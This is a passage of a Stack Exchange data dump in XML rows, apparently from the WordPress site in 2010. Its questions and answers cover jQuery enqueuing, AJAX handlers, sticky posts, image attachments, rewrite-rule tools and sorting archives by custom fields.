  <row Id="3601" PostTypeId="2" ParentId="3600" CreationDate="2010-11-03T19:41:11.603" Score="1" ViewCount="" Body="&lt;p&gt;You're really close! Add #comment-&lt;code&gt;&amp;lt;?php comment_id(); ?&amp;gt;&lt;/code&gt;to the href to append the anchor link&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo get_permalink($comment-&amp;gt;comment_post_ID);?&amp;gt;#comment-&amp;lt;?php comment_ID() ?&amp;gt;&quot;&amp;gt;&#xA;     &amp;lt;?php echo $post-&amp;gt;post_title; ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-03T19:41:11.603" CommentCount="1" />
  <row Id="3602" PostTypeId="1" AcceptedAnswerId="3603" CreationDate="2010-11-03T19:43:32.903" Score="0" ViewCount="235" Body="&lt;p&gt;I would like to use jQuery in my Wordpress plugin. I'm trying to load the jquery library using the enqueue script but its throwing an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Error: $ is not a function&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code snippet that's inside my main plugin.php file...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function ($post)&#xA;{&#xA;    wp_enqueue_script('jquery');&#xA;    ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    function doTestParse(searchString){&#xA;        var rx = new RegExp('(?![^&amp;lt;]+&amp;gt;)'+searchString, &quot;gi&quot;);&#xA;        $(this).html($(this).html().replace(rx, '&amp;lt;b&amp;gt;$&amp;amp;&amp;lt;/b&amp;gt;'));&#xA;    }&#xA;    &amp;lt;/script&amp;gt;&#xA;&amp;lt;?php ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-03T20:08:34.060" Title="How to wp_enqueue_script jQuery inside a Plugin" Tags="&lt;jquery&gt;" AnswerCount="2" />
  <row Id="3603" PostTypeId="2" ParentId="3602" CreationDate="2010-11-03T19:46:47.987" Score="3" ViewCount="" Body="&lt;p&gt;jQuery is included in &lt;a href=&quot;http://api.jquery.com/jQuery.noConflict/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;noConflict&lt;/code&gt; mode&lt;/a&gt; in WordPress, so you can't use the shorthand &lt;code&gt;$&lt;/code&gt;, but must write &lt;code&gt;jQuery(this).html(jQuery(this).html().replace(rx, '&amp;lt;b&amp;gt;$&amp;amp;&amp;lt;/b&amp;gt;'));&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-03T19:46:47.987" CommentCount="2" />
  <row Id="3604" PostTypeId="2" ParentId="3602" CreationDate="2010-11-03T20:08:34.060" Score="1" ViewCount="" Body="&lt;p&gt;I am not sure when exactly your code fires, but it is good practice to add enqueue directives to &lt;code&gt;init&lt;/code&gt; hook, instead of trying to call them in-place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script&lt;/code&gt;&lt;/a&gt; docs in Codex have plenty of useful examples on topic.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-03T20:08:34.060" />
  <row Id="3605" PostTypeId="1" AcceptedAnswerId="3637" CreationDate="2010-11-03T20:13:46.173" Score="6" ViewCount="7102" Body="&lt;p&gt;I created a website that consists some posts on the front page.&#xA;Each post has a like button generated by facebook iframe interface for like button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing a button it opens a dialog &quot;share this on facebook with a comment&quot;.&#xA;When sharing the image selected by facebook is an icon used for mail share and not the post thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see the site at: &lt;a href=&quot;http://deal24.co.il&quot; rel=&quot;nofollow&quot;&gt;http://deal24.co.il&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I control the image that is used for sharing ?&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2011-08-16T14:18:08.873" Title="how do i control the facebook like image?" Tags="&lt;facebook&gt;" AnswerCount="6" CommentCount="1" FavoriteCount="2" />
  <row Id="3606" PostTypeId="1" AcceptedAnswerId="3608" CreationDate="2010-11-03T20:21:42.000" Score="9" ViewCount="1280" Body="&lt;p&gt;Is there a good tool to analyze my rewrite rules? I always get confused with the regexes and the parameter replacements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I have created something myself and will post it here so others can use it, but please feel free to add other tools!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-28T12:24:45.307" LastActivityDate="2011-05-28T12:24:45.307" Title="A tool to analyze rewrite rules?" Tags="&lt;plugin-development&gt;&lt;url-rewriting&gt;&lt;wpse-plugin&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="13" />
  <row Id="3607" PostTypeId="2" ParentId="3599" CreationDate="2010-11-03T20:27:44.760" Score="1" ViewCount="" Body="&lt;p&gt;You can try to approach that from WP/PHP side, but I think in this case it would be easier to run replacement on database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several tools around, for example &lt;a href=&quot;http://spectacu.la/search-and-replace-for-wordpress-databases/&quot; rel=&quot;nofollow&quot;&gt;Search and Replace for WordPress Databases&lt;/a&gt;. Just be sure to properly back up database before it and test on separate install if possible.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-03T20:27:44.760" CommentCount="1" />
  <row Id="3608" PostTypeId="2" ParentId="3606" CreationDate="2010-11-03T20:35:19.563" Score="30" ViewCount="" Body="&lt;p&gt;Well what a coincidence that you ask this, Jan! Just today I had time on a long train journey and decided to write a Rewrite Analyzer plugin, one that parses your rewrite rules and highlights the query variables. You can test URLs right there and see what query variables will be set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/screenshot-1.png?r=384136&quot; alt=&quot;Display all rewrite rules and highlight captured URL parts and ignored query variables&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://s.wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/screenshot-2.png?r=384136&quot; alt=&quot;Test URLs and see matching rules with the resulting query variables&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find it &lt;a href=&quot;http://wordpress.org/extend/plugins/monkeyman-rewrite-analyzer/&quot; rel=&quot;nofollow&quot;&gt;in the plugin repository&lt;/a&gt;, or just as &lt;em&gt;Monkeyman Rewrite Analyzer&lt;/em&gt; when search for new plugins in your administration screen.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-12T18:03:07.687" LastActivityDate="2011-05-12T18:03:07.687" CommentCount="7" />
  <row Id="3609" PostTypeId="2" ParentId="3599" CreationDate="2010-11-03T20:38:49.073" Score="5" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;//run once&#xA;&#xA;$allposts = get_posts('post_status=publish&amp;amp;numberposts=-1');&#xA;foreach ($allposts as $thispost) {&#xA;     wp_update_post( array(&#xA;          'ID' =&amp;gt; $thispost-&amp;gt;ID,&#xA;          'post_content' =&amp;gt; fix_zip_code($thispost-&amp;gt;post_content)&#xA;          )&#xA;     );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as Rarst mentioned, backup your database before doing anything... &lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-11-03T20:38:49.073" CommentCount="3" />
  <row Id="3610" PostTypeId="1" AcceptedAnswerId="3612" CreationDate="2010-11-03T20:42:44.190" Score="4" ViewCount="1245" Body="&lt;p&gt;I have a custom post type that i want to access through jQuery - preferably using JSON.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first things first. creating a function that returns/echos json is easy enough, but how would I access it through jquery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as Mike writes in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1447/loading-custom-post-type-events-into-jquery-based-fullcalendar&quot;&gt;this question&lt;/a&gt;, he - as far as I understand - places it in the wordpress root. which would make it accessable using the php file name - but Is this recommendable? I would rather put it inside a plugin folder. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried reading the wordpress codex, but the way ajax calls are handled just confuses me, as you are posting every ajax call to admin-ajax.php, even though it is not an admin page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please straighten out the problems I'm having?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/Storm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem I had was understanding how ajax calls were to be made in wordpress, as well as where to place your php and js code to do/handle the calls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the other question I linked to, you created a function placing the file in the wp root - I dont want to do that. But I have now learned how to use the wp_ajax_(nopriv_)[action] and can effectivly access the json i create. The problem remaining is Where i should place the JS to make the call. I want to place it in the plugins js file, but as this is to be presented in a page, &lt;strong&gt;not&lt;/strong&gt; on the admin site, ajaxurl isn't defined, so i have to echo using php. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo admin_url('admin-ajax.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the question becomes how should I combine this php with the javascript, and how should i then enqueue it, seeing as it's not a file or a script.&lt;/p&gt;&#xA;" OwnerUserId="1460" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-03T18:13:07.833" LastActivityDate="2011-01-03T18:13:07.833" Title="How to manage ajax calls and JSON in wordpress" Tags="&lt;jquery&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="5" />
  <row Id="3611" PostTypeId="2" ParentId="3588" CreationDate="2010-11-03T20:57:36.950" Score="1" ViewCount="" Body="&lt;p&gt;Problem solved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating the plugin doesn't seem to produce the required table structure in the database. The structure has changed between versions. You have to remove the old plugin and tables and then install the new version. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems to work. Will report any other errors caused by the update here.&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-11-03T20:57:36.950" />
  <row Id="3612" PostTypeId="2" ParentId="3610" CreationDate="2010-11-03T21:06:09.167" Score="8" ViewCount="" Body="&lt;h2&gt;Ajax Handler&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;It is indeed a bit confusing that the Ajax handler is in the &lt;code&gt;wp-admin/&lt;/code&gt; directory, but yes, you can and should use it for non-admin requests too. You then register a handler for the &lt;code&gt;wp_ajax_nopriv_[action]&lt;/code&gt; hook, instead of the normal &lt;code&gt;wp_ajax_[action]&lt;/code&gt;. In this case you only have to follow &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/admin-ajax.php#L46&quot; rel=&quot;nofollow&quot;&gt;the first lines of &lt;code&gt;admin-ajax.php&lt;/code&gt;&lt;/a&gt;, since a request done by a user that is not logged in will already leave the page around line 50.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So register a function for the hook &lt;code&gt;wp_ajax_nopriv_get_custom_post_data&lt;/code&gt;, and it will get called if you ask for &lt;code&gt;admin-ajax.php&lt;/code&gt; with the &lt;code&gt;action&lt;/code&gt; parameter set to &lt;code&gt;get_custom_post_data&lt;/code&gt;. Be sure to call &lt;code&gt;die()&lt;/code&gt; at the end of your handler yourself, otherwise the default &lt;code&gt;die(-1)&lt;/code&gt; will be returned. And also register the logged-in version, &lt;code&gt;wp_ajax_get_custom_post_data&lt;/code&gt; (to the same handler function, no problem), since if you are logged in to your site, you will not hit the &lt;code&gt;nopriv&lt;/code&gt; hook.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Server-side config to Javascript&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The trick to send server-side configuration data (like the &lt;code&gt;admin-ajax.php&lt;/code&gt; url), is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_localize_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_localize_script()&lt;/code&gt;&lt;/a&gt;. You pass it an array of keys and values which will be included in the top of the page. This was probably originally created only for localizable strings, but you can use it to pass configuration data too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_localize_script('storm_json_config', 'storm_config', array(&#xA;    'ajaxurl' =&amp;gt; admin_url('admin-ajax.php'),&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;storm_json_config&lt;/code&gt; is the handle name (if you want to dequeue it later), &lt;code&gt;storm_config&lt;/code&gt; is the name of the Javascript object that will contain your data. So your static Javascript file can contain a line like &lt;code&gt;jQuery.post(storm_config.ajaxurl, ...)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;http://wordpress.stackexchange.com/questions/351/modifying-a-js-file-with-data-from-plugin-settings/357#357&quot;&gt;bueltge's answer to a similar question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Static Javascript from the plugin dir&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To load a static Javascript file from your own plugin dir, you use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt;. That would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_enqueue_script('storm_json', plugin_dir_url(__FILE__) . 'js/json.js', array('jquery'), '20101105');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;storm_json&lt;/code&gt; is again a handle name, then you give the link to the file, then the dependencies (can be &lt;code&gt;null&lt;/code&gt;), and then a version number that will be added after the request to beat browser caches on updates.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-05T08:27:15.243" LastActivityDate="2010-11-05T08:27:15.243" CommentCount="4" />
  <row Id="3613" PostTypeId="1" AcceptedAnswerId="3614" CreationDate="2010-11-03T21:15:26.687" Score="0" ViewCount="232" Body="&lt;p&gt;Is there a function to add array of post id's to a category,something like this array(2,3,5,6)&#xA;to put in some category,not looking for update post.&#xA;Tnx in advance.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2010-11-03T21:37:02.953" Title="Add array of post id's to a category?" Tags="&lt;3.0&gt;&lt;functions&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3614" PostTypeId="2" ParentId="3613" CreationDate="2010-11-03T21:37:02.953" Score="1" ViewCount="" Body="&lt;p&gt;Not exactly &lt;em&gt;add array&lt;/em&gt;, but you can loop through that array and run &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_set_object_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_set_object_terms()&lt;/code&gt;&lt;/a&gt; on each post id. Just study function's arguments carefully, because it defaults to overwriting terms, rather that adding.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-03T21:37:02.953" CommentCount="5" />
  <row Id="3615" PostTypeId="1" AcceptedAnswerId="3616" CreationDate="2010-11-03T22:46:14.653" Score="3" ViewCount="188" Body="&lt;p&gt;I would like to &quot;highlight&quot; a featured post above all other posts with a special indicator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a feature in WordPress that will do this or do I need to install a third party plug-in?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a custom WordPress install (not WP hosted).&lt;/p&gt;&#xA;" OwnerUserId="1462" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-05-04T19:46:52.417" LastActivityDate="2011-05-04T19:46:52.417" Title="Highlight a Featured Post?" Tags="&lt;posts&gt;&lt;sticky-post&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3616" PostTypeId="2" ParentId="3615" CreationDate="2010-11-03T23:02:19.930" Score="6" ViewCount="" Body="&lt;p&gt;Use the &quot;sticky&quot; feature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the &quot;Page Attributes&quot; metabox (labelled as &lt;strong&gt;Publish&lt;/strong&gt;), if you click the &quot;edit&quot; link next to the &lt;strong&gt;Visibility&lt;/strong&gt; option, there is a checkbox which allows you to &lt;em&gt;&quot;Stick this post to the front page&quot;&lt;/em&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless a theme overrides the default query, that post will show up above all the others. In addition, it adds the class name &quot;sticky&quot; to the attributes returned by &lt;code&gt;post_class()&lt;/code&gt;, so you can style it however you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PrPzB.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add some text to your featured posts and highlight them, add a function like this inside the loop in your index.php (or loop.php, etc., depending on your theme):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_sticky($post-&amp;gt;ID)) echo '&amp;lt;span class=&quot;featured&quot;&amp;gt;Featured!&amp;lt;/span&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can do the same thing with the css :before property, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;div.sticky h2:before {&#xA;     content: &quot;Featured! &quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(assuming you're using h2's to display the titles of your posts, and you want to add the text before the title)&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-11-03T23:50:10.063" LastActivityDate="2010-11-03T23:50:10.063" CommentCount="2" />
  <row Id="3617" PostTypeId="1" CreationDate="2010-11-04T00:12:36.953" Score="2" ViewCount="499" Body="&lt;p&gt;I want to give the users the ability to sort the posts in the archive by some custom fields that I pre-define. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result would be en a tabbed container, and the user will click on the relevant filter-link that he/her want to see. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example: &lt;a href=&quot;http://www.metacritic.com/browse/games/genre/date/action/all&quot; rel=&quot;nofollow&quot;&gt;http://www.metacritic.com/browse/games/genre/date/action/all&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to:&lt;br&gt;&#xA; - Filter by date&lt;br&gt;&#xA; - Filter by title&lt;br&gt;&#xA; - Filter by meta_key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible to do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all help.. :) &lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2011-05-12T00:25:13.557" Title="Archive sorting functions by custom fields (front-end)" Tags="&lt;custom-field&gt;&lt;archive&gt;&lt;filters&gt;&lt;sort&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="3618" PostTypeId="1" AcceptedAnswerId="3645" CreationDate="2010-11-04T01:06:22.693" Score="0" ViewCount="285" Body="&lt;p&gt;What is the most flexible photo gallery plugin available on WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By flexible, I mean a plugin that can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;create galleries per folder / event&lt;/li&gt;&#xA;&lt;li&gt;display / generate thumbnails per size I want (it would be good to have an API/function for this)&lt;/li&gt;&#xA;&lt;li&gt;display the most recent gallery from either certain event or all photos uploaded.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is there any? Or something close to this?&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-11-04T17:57:16.997" LastActivityDate="2011-01-24T06:06:03.630" Title="Most Flexible Photo Gallery Plugin?" Tags="&lt;plugin-recommendation&gt;&lt;images&gt;&lt;gallery&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" />
  <row Id="3619" PostTypeId="1" AcceptedAnswerId="3622" CreationDate="2010-11-04T01:13:48.337" Score="3" ViewCount="414" Body="&lt;p&gt;another question about image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I add/attach images to post without adding it to post? The reason behind this is so that I can manipulate it whatever I want using API.&lt;/p&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-04T13:28:32.000" Title="Can I attach image to post without adding it to post?" Tags="&lt;images&gt;&lt;attachments&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" />
  <row Id="3620" PostTypeId="2" ParentId="3578" CreationDate="2010-11-04T02:23:12.833" Score="2" ViewCount="" Body="&lt;p&gt;This is not a full answer but some directions:  Any text displayed surpasses a translation filter and can therefore be changed in a callback function (hook). So if the hook is only registered on the page where you would like to change that, job done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The draft button could be &quot;removed&quot; by hiding it via CSS. The CSS could be injected into the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt;-tag of the admin with another callback. I think the filter is called &lt;code&gt;admin_head&lt;/code&gt; for that. It's somehow dirty as the button still is there, for example if a user switches CSS off.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-04T02:34:23.367" LastActivityDate="2010-11-04T02:34:23.367" />
  <row Id="3621" PostTypeId="2" ParentId="3619" CreationDate="2010-11-04T02:44:21.073" Score="2" ViewCount="" Body="&lt;p&gt;Yes, you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you upload the image using the media uploader on a post's edit screen, or use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_post&quot; rel=&quot;nofollow&quot;&gt;update_post()&lt;/a&gt; to set the &lt;code&gt;post_parent&lt;/code&gt; field of the attachment to the ID of the post you want to attach it to, it is associated with that post, whether or not it is actually inserted into the content of that post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can retrieve all images attached to a specific post by calling &lt;code&gt;get_children()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_children&quot; rel=&quot;nofollow&quot;&gt;see the codex for examples&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-11-04T02:44:21.073" />
  <row Id="3622" PostTypeId="2" ParentId="3619" CreationDate="2010-11-04T07:28:58.923" Score="2" ViewCount="" Body="&lt;p&gt;There is a Plugin called Attachments&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/attachments/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/attachments/&lt;/a&gt;&#xA;Maybe this is something you looking for.&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2010-11-04T07:28:58.923" CommentCount="3" />
  <row Id="3623" PostTypeId="2" ParentId="3619" CreationDate="2010-11-04T08:38:01.253" Score="2" ViewCount="" Body="&lt;p&gt;Yes, its definitely possible: I do this in one of my themes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You simply add your images to the post as if you were going to insert it into the post, but then just click save all changes, and do not actually click the button &quot;Insert Into Post&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, you can access that post's gallery images using something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images = get_gallery_images();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where I've defined that function in functions.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get all of the images attached to the current post&#xA;    function get_gallery_images() {&#xA;        global $post;&#xA;        $photos = get_children( array('post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_status' =&amp;gt; 'inherit', 'post_type' =&amp;gt; 'attachment', 'post_mime_type' =&amp;gt; 'image', 'order' =&amp;gt; 'ASC', 'orderby' =&amp;gt; 'menu_order ID') );&#xA;        $galleryimages = array();&#xA;        if ($photos) {&#xA;            foreach ($photos as $photo) {&#xA;                // get the correct image html for the selected size&#xA;                $galleryimages[] = wp_get_attachment_url($photo-&amp;gt;ID);&#xA;            }&#xA;        }&#xA;        return $galleryimages;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then do whatever you'd like to those images in your template files. (In my case, I loop through the images and put them in a jQuery slider).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also plugins that you could use, but its always best to minimise plugins if you can help it.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastEditorUserId="1118" LastEditorDisplayName="" LastEditDate="2010-11-04T08:47:07.923" LastActivityDate="2010-11-04T08:47:07.923" />
  <row Id="3624" PostTypeId="1" AcceptedAnswerId="4512" CreationDate="2010-11-04T08:48:46.923" Score="0" ViewCount="110" Body="&lt;p&gt;Is there any free theme like sourceforge.net type sites? &#xA;I want to give title, description, author, submitted date, multiple download links,multiple presentation links and keywords.&#xA;I don't want to create repository. Mainly, I have to show multiple external download links.&#xA;I would like to use wordpress 3.0 custom post type feature.&lt;/p&gt;&#xA;" OwnerUserId="1302" LastActivityDate="2010-11-25T09:42:20.983" Title="Wordpress theme like sourceforge.net type sites" Tags="&lt;custom-post-types&gt;&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3625" PostTypeId="2" ParentId="3515" CreationDate="2010-11-04T10:08:50.863" Score="0" ViewCount="" Body="&lt;p&gt;I use this wp_signon, but if on next line of code I do is_user_logged_in() and get false in return. Have I misunderstood wp_signon?&lt;/p&gt;&#xA;" LastActivityDate="2010-11-04T10:08:50.863" CommentCount="1" />
  <row Id="3626" PostTypeId="1" AcceptedAnswerId="3662" CreationDate="2010-11-04T10:31:36.477" Score="0" ViewCount="374" Body="&lt;p&gt;I have been using w3 Total Cache with the setting to enable Expires Headers and eTags but they are not being set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm serving images and other media from a sub-domain such as static.example.org served by nginx but it didn't work even when I was serving these files with Apache from the main domain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried disabling and re-enabling the browser caching settings in the admin without success. What do you suggest?&lt;/p&gt;&#xA;" OwnerUserId="890" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-31T09:38:01.467" LastActivityDate="2011-01-31T09:38:01.467" Title="w3 Total Cache expire headers not set" Tags="&lt;plugin-w3-total-cache&gt;" AnswerCount="3" />
  <row Id="3627" PostTypeId="1" CreationDate="2010-11-04T10:38:08.953" Score="0" ViewCount="591" Body="&lt;p&gt;I use &lt;code&gt;wp_signon()&lt;/code&gt; and it returns a user, not an error. However when I do &lt;code&gt;is_user_logged_in()&lt;/code&gt; it returns false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help would be very much appreciated :)&lt;/p&gt;&#xA;" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-11-08T13:24:24.620" LastActivityDate="2011-03-16T12:22:25.230" Title="wp_signon returns user, but the user is not logged in" Tags="&lt;login&gt;" AnswerCount="2" />
  <row Id="3628" PostTypeId="2" ParentId="3617" CreationDate="2010-11-04T11:21:46.837" Score="1" ViewCount="" Body="&lt;p&gt;This is certainly possible, but how easy it will be depends on how clean you want the URL to be. If you don't mind appending &lt;code&gt;?orderby=[fieldname]&amp;amp;order=[asc or desc]&lt;/code&gt;, you can just try it out. Adding &lt;code&gt;?orderby=title&amp;amp;order=asc&lt;/code&gt; to an archive page will, indeed, order by title with the 'A' before the 'Z' (default order is descending, since that is logical when ordering by date).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to order by a meta key, say &lt;code&gt;rating&lt;/code&gt;, you cannot just add &lt;code&gt;orderby=rating&lt;/code&gt;, but you also &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/query.php#L2132&quot; rel=&quot;nofollow&quot;&gt;have to tell the &lt;code&gt;WP_Query::get_posts()&lt;/code&gt; function that you want to include this meta key in the query&lt;/a&gt;. The best way to do this is probably hooking into the &lt;code&gt;pre_get_posts&lt;/code&gt; action, where you can check for the presence of this order field and add it to the &lt;code&gt;query_vars&lt;/code&gt; of the object if needed. Something like this (but untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('pre_get_posts', 'check_meta_sort');&#xA;function check_meta_sort(&amp;amp;$query)&#xA;{&#xA;    if (!isset($_GET['orderbymeta'])) {&#xA;        return;&#xA;    }&#xA;    $query-&amp;gt;query_vars['meta_key'] = $_GET['orderbymeta'];&#xA;    $query-&amp;gt;query_vars['orderby'] = $_GET['orderbymeta'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want &quot;nice&quot; URLs, ending in &lt;code&gt;/title&lt;/code&gt;, &lt;code&gt;/date&lt;/code&gt;, &lt;code&gt;/[meta-key]&lt;/code&gt;, you will need to look into the Rewrite engine, but I can't help you there (&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules&quot;&gt;yet&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-04T11:21:46.837" />
